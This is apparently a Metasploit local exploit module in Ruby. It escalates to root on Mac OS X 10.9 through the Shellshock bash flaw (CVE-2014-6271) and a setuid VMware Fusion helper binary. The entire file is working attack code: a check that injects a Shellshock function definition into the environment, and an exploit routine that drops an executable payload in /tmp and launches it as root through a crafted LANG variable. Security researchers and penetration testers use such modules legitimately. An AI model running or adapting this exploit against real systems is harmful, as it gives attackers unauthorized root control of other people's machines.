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require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X VMWare Fusion Root Privilege Escalation Exploit',
'Description' => %q{
This abuses the bug in bash environment variables (CVE-2014-6271) to get
a suid binary inside of VMWare Fusion to launch our payload as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephane Chazelas',
'juken',
'joev',
'mubix'
],
'References' =>
[
[ 'CVE', '2014-6271' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
register_options([
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
], self.class)
end
def check
check_str = Rex::Text.rand_text_alphanumeric(5)
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
path = '/Contents/Library/vmware-vmx-stats'
print_status("Writing payload file as '#{payload_file}'")
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
write_file(payload_file, exe)
register_file_for_cleanup(payload_file)
cmd_exec("chmod +x #{payload_file}")
print_status("Running VMWare services...")
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
end
end
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